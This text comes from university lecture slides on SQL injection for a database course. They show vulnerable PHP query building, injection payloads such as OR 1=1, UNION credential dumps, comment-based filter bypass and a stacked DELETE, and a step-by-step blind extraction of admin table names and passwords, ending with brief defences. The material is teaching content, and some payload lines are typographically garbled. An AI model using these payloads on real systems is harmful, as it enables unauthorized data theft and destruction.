Chapter 7

SQL Injection
COMP3278A
Introduction to Database Management Systems

Dr. CHEN, Yi
Email: chenyi1@[Link]

School of Computing & Data Science, The University of Hong Kong

Simple Example
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

[Link]
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

[Link]
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

You can modify this ID in URL directly
[Link]
to get the book information
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

You can modify this ID in URL directly
[Link]
to get the book information
• If I modify the URL like this

[Link]
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

You can modify this ID in URL directly
[Link]
to get the book information
• If I modify the URL like this

[Link]

SELECT * FROM t3_books where bookID=' 101’;+delete+from+t3_authors';

Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

You can modify this ID in URL directly
[Link]
to get the book information
• If I modify the URL like this

[Link]

SELECT * FROM t3_books where bookID=‘101’;+delete+from+t3_authors;--';

Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

You can modify this ID in URL directly
[Link]
to get the book information
• If I modify the URL like this

[Link]

SELECT * FROM t3_books where bookID=‘101'; delete from t3_authors;--’;

Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";

• Let’s say bookID = 101

SELECT * FROM t3_books where bookID='101';

• This variable is provided by URL

You can modify this ID in URL directly
[Link]
to get the book information
• If I modify the URL like this

[Link]

SELECT * FROM t3_books where bookID=‘101'; delete from t3_authors;--’;

 Introduction to SQL Injection
• De nition
• SQL Injection is an attack technique where malicious SQL code is inserted
into a query string and send to the database server for execution.
fi
 Introduction to SQL Injection
• De nition
• SQL Injection is an attack technique where malicious SQL code is inserted
into a query string and send to the database server for execution.
• Why it matters
fi
 Introduction to SQL Injection
• De nition
• SQL Injection is an attack technique where malicious SQL code is inserted
into a query string and send to the database server for execution.
• Why it matters
• One of the most widespread web vulnerabilities

[Link]
fi
 Introduction to SQL Injection
• De nition
• SQL Injection is an attack technique where malicious SQL code is inserted
into a query string and send to the database server for execution.
• Why it matters
• One of the most widespread web vulnerabilities
• Severe consequences
• Data modi cation or deletion
• Unauthorized access to sensitive data
• Potential server-level access
fi
fi
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
• How to use this in SQL injection attack?
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]’;
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
• SELECT * FROM users WHERE username = 'admin'; --' AND password ='123';
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
• SELECT * FROM users WHERE username = 'admin'; --' AND password ='123';
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
• SELECT * FROM users WHERE username = 'admin'; --' AND password =‘123';
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• OR
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;

• SELECT * FROM users WHERE password = [input] AND userID = [input];

Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;

• SELECT * FROM users WHERE password = [input] AND userID = [input];

• SELECT * FROM users WHERE password = 123 OR 1=1; -- AND userID = 123;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;

• SELECT * FROM users WHERE password = [input] AND userID = [input];

• SELECT * FROM users WHERE password = 123 OR 1=1; -- AND userID = 123;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;

• SELECT * FROM users WHERE password = [input] AND userID = [input];

• SELECT * FROM users WHERE password = 123 OR 1=1; -- AND userID = 123;
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• UNION
• How to use this in SQL injection attack?
• SELECT name, price FROM products WHERE ID = [input];
Common Characters in SQL Injection
• UNION
• How to use this in SQL injection attack?
• SELECT name, price FROM products WHERE ID = [input];
• SELECT name, price FROM products WHERE ID = 123 UNION SELECT username,
password FROM users;
Common Characters in SQL Injection
• UNION
• How to use this in SQL injection attack?
• SELECT name, price FROM products WHERE ID = [input];
• SELECT name, price FROM products WHERE ID = 123 UNION SELECT username,
password FROM users;
Common Characters in SQL Injection
• UNION
• How to use this in SQL injection attack?
• SELECT name, price FROM products WHERE ID = [input];
• SELECT name, price FROM products WHERE ID = 123 UNION SELECT username,
password FROM users;
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• ||
• String concatenation operator (SQLite, Oracle, PostgreSQL)
• SELECT username || password FROM users;
users
username Password
Alice 123 Alice123
Bob 888 Bob888
Cathy 101 Cathy101
Common Characters in SQL Injection
• ||
• String concatenation operator (SQLite, Oracle, PostgreSQL)
• SELECT username || password FROM users;
users
username Password
Alice 123 Alice123
Bob 888 Bob888
Cathy 101 Cathy101

• How to use this in SQL injection attack?

• SELECT name FROM products WHERE ID = [input]
Common Characters in SQL Injection
• ||
• String concatenation operator (SQLite, Oracle, PostgreSQL)
• SELECT username || password FROM users;
users
username Password
Alice 123 Alice123
Bob 888 Bob888
Cathy 101 Cathy101

• How to use this in SQL injection attack?

• SELECT name FROM products WHERE ID = [input]
• SELECT name FROM products WHERE ID = 123 UNION SELECT username || password
FROM users;
Common Characters in SQL Injection
• ||
• String concatenation operator (SQLite, Oracle, PostgreSQL)
• SELECT username || password FROM users;
users
username Password
Alice 123 Alice123
Bob 888 Bob888
Cathy 101 Cathy101

• How to use this in SQL injection attack?

• SELECT name FROM products WHERE ID = [input]
• SELECT name FROM products WHERE ID = 123 UNION SELECT username || password
FROM users;
Common Characters in SQL Injection
• ||
• String concatenation operator (SQLite, Oracle, PostgreSQL)
• SELECT username || password FROM users;
users
username Password
Alice 123 Alice123
Bob 888 Bob888
Cathy 101 Cathy101

• How to use this in SQL injection attack?

• SELECT name FROM products WHERE ID = [input]
• SELECT name FROM products WHERE ID = 123 UNION SELECT username || password
FROM users;
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• /*…*/
• Multi-line comment, which is used to ignore anything written between /* and */
• SELECT name, salary
FROM Employees
WHERE
/* Select only employees with salary greater than 5000,
and department is Engineering*/
salary > 5000 AND department = ‘Engineering’;
 Common Characters in SQL Injection
• /*…*/
• Multi-line comment, which is used to ignore anything written between /* and */
• SELECT name, salary
FROM Employees
WHERE
/* Select only employees with salary greater than 5000,
and department is Engineering*/
salary > 5000 AND department = ‘Engineering’;
• How to use this in SQL injection attack? Web application implement simple
lters to block dangerous keywords
• SELECT name, price FROM products WHERE ID = [input];
• SELECT name, price FROM products WHERE ID = 123 UNION SELECT username,
password FROM users;
fi
 Common Characters in SQL Injection
• /*…*/
• Multi-line comment, which is used to ignore anything written between /* and */
• SELECT name, salary
FROM Employees
WHERE
/* Select only employees with salary greater than 5000,
and department is Engineering*/
salary > 5000 AND department = ‘Engineering’;
• How to use this in SQL injection attack? Web application implement simple
lters to block dangerous keywords
• SELECT name, price FROM products WHERE ID = [input];
• SELECT name, price FROM products WHERE ID = 123 UNION SELECT username,
password FROM users;
• SELECT name, price FROM products WHERE ID = 123 UNION/**/SELECT username,
password FROM users;
fi
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• +
• How to use this in SQL injection attack?
• [Link]
• SELECT * FROM t3_books WHERE bookID=‘101';
• [Link]
• SELECT * FROM t3_books WHERE bookID=‘101'; DELETE FROM t3_authors;--’;
Common Characters in SQL Injection
• +
• How to use this in SQL injection attack?
• [Link]
• SELECT * FROM t3_books WHERE bookID=‘101';
• [Link]
• SELECT * FROM t3_books WHERE bookID=‘101'; DELETE FROM t3_authors;--’;
• No space in URL
Common Characters in SQL Injection
• +
• How to use this in SQL injection attack?
• [Link]
• SELECT * FROM t3_books WHERE bookID=‘101';
• [Link]
• SELECT * FROM t3_books WHERE bookID=‘101'; DELETE FROM t3_authors;--’;
• No space in URL
• Use +
SQL Injection Attack Stages
1. Vulnerability discovery
2. Information gathering
3. Attack execution
SQL Injection Attack Stages
1. Vulnerability discovery
2. Information gathering
3. Attack execution
1. Vulnerability Discovery
• Where to look for SQL Injection?
1. Vulnerability Discovery
• Where to look for SQL Injection?
• Web forms
• login, search, registration forms …
1. Vulnerability Discovery
• Where to look for SQL Injection?
• Web forms
• login, search, registration forms …
• URL query parameters
• ?id=XXX
1. Vulnerability Discovery
• Where to look for SQL Injection?
• Web forms
• login, search, registration forms …
• URL query parameters
• ?id=XXX
• Hidden eld in HTML
• <form action="submit_order.php" method="POST">
<input type="hidden" name="user_id" value="12345">
<input type="submit" value="Submit Order">
</form>
fi
1. Vulnerability Discovery
• Where to look for SQL Injection?
• Web forms
• login, search, registration forms …
• URL query parameters
• ?id=XXX
• Hidden eld in HTML
• <form action="submit_order.php" method="POST">
<input type="hidden" name="user_id" value="12345">
<input type="submit" value="Submit Order">
</form>
• Cookies
fi
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely)
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=1;
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=1;
• Query success (always true)
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=1;
• Query success (always true) We can control SQL query’s logic
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=1;
• Query success (always true) We can control SQL query’s logic
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=2;
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=1;
• Query success (always true) We can control SQL query’s logic
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=2;
• Query fail (always false)
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=1;
• Query success (always true) We can control SQL query’s logic
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=2;
• Query fail (always false) Double check. We can control SQL query
1. Vulnerability Discovery
• How to test?
• Try to insert SQL syntax and observe the application’s reactions
• Example
• [Link]
• SELECT * FROM table_name WHERE column=Yi;
• [Link]
• SELECT * FROM table_name WHERE column=Yi';
• Query error (SQL syntax error likely) Maybe we can disrupt the SQL query
• [Link]
SQL
• SELECT * FROM table_name WHERE column=Yi and 1=1; injection
• Query success (always true) We can control SQL query’s logic vulnerability
• [Link]
• SELECT * FROM table_name WHERE column=Yi and 1=2;
• Query fail (always false) Double check. We can control SQL query
SQL Injection Attack Stages
1. Vulnerability discovery
2. Information gathering
3. Attack execution
 2. Information Gathering
• Why?
• Di erent databases (e.g., MySQL, Sqlite3) behave di erently
• Attack techniques must adapt to the speci c database in use
ff
fi
ff
 2. Information Gathering
• Why?
• Di erent databases (e.g., MySQL, Sqlite3) behave di erently
• Attack techniques must adapt to the speci c database in use
• Two ways
• System variables
• System tables
ff
fi
ff
2. Information Gathering
• System variables
• MySQL
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND version( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND user( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND database( ) is NOT NULL;
2. Information Gathering
• System variables
• MySQL
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND version( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND user( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND database( ) is NOT NULL;

• Sqlite
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND sqlite_version( ) is NOT NULL;
2. Information Gathering
• System variables
• MySQL
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND version( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND user( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND database( ) is NOT NULL;

• Sqlite
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND sqlite_version( ) is NOT NULL;
2. Information Gathering
• System variables
• MySQL
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND version( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND user( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND database( ) is NOT NULL;

• Sqlite
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND sqlite_version( ) is NOT NULL;
2. Information Gathering
• System tables
• MySQL
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.tables) > 0;
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.columns) > 0;
2. Information Gathering
• System tables
• MySQL
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.tables) > 0;
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.columns) > 0;
2. Information Gathering
• System tables
• MySQL
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.tables) > 0;
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.columns) > 0;

• Sqlite

• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM sqlite_master) > 0;
SQL Injection Attack Stages
1. Vulnerability discovery
2. Information gathering
3. Attack execution
3. Attack Execution
• Goal: obtain users and their passwords
• SELECT xxx FROM xxx WHERE p =
3. Attack Execution
• Goal: obtain users and their passwords
• SELECT xxx FROM xxx WHERE p =
• Steps
1. Guess table name where we are interested
2. Guess column name where we are interested
3. Guess data where we are interested
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
2. Guess column name where we are interested
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
2. Guess column name where we are interested
• Try common column names
• user, username, password, pwd
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
2. Guess column name where we are interested
• Try common column names
• user, username, password, pwd
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin WHERE
length(user)) > 0;
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 6;
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 6;
• The length of the data in the user column is 6
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 6;
• The length of the data in the user column is 6

• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(password) FROM admin
LIMIT 0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(password) FROM admin
LIMIT 0,1) > 6;
3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
 3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
fi
 3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
fi
 3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
fi
 3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
• The second character
fi
 3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
• The second character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘AC’) = 1;
fi
 Recall

Introduction to SQL Injection

• De nition
• SQL Injection is an attack technique where malicious SQL code is inserted
into a query string and send to the database server for execution.
• Why it matters
• One of the most widespread web vulnerabilities
• Severe consequences
• Data modi cation or deletion
• Unauthorized access to sensitive data
• Potential server-level access
fi
fi
Protection of SQL Injection Attack
• Input validation on server
• Always validate and sanitize client inputs
• Use least-privilege database accounts
• Avoid high-privilege users (e.g., root) for database connections
• Restrict permissions (e.g., SELECT only, block DROP, DELETE).
Chapter 7

END
COMP3278A
Introduction to Database Management Systems

Dr. CHEN, Yi
Email: chenyi1@[Link]

School of Computing & Data Science, The University of Hong Kong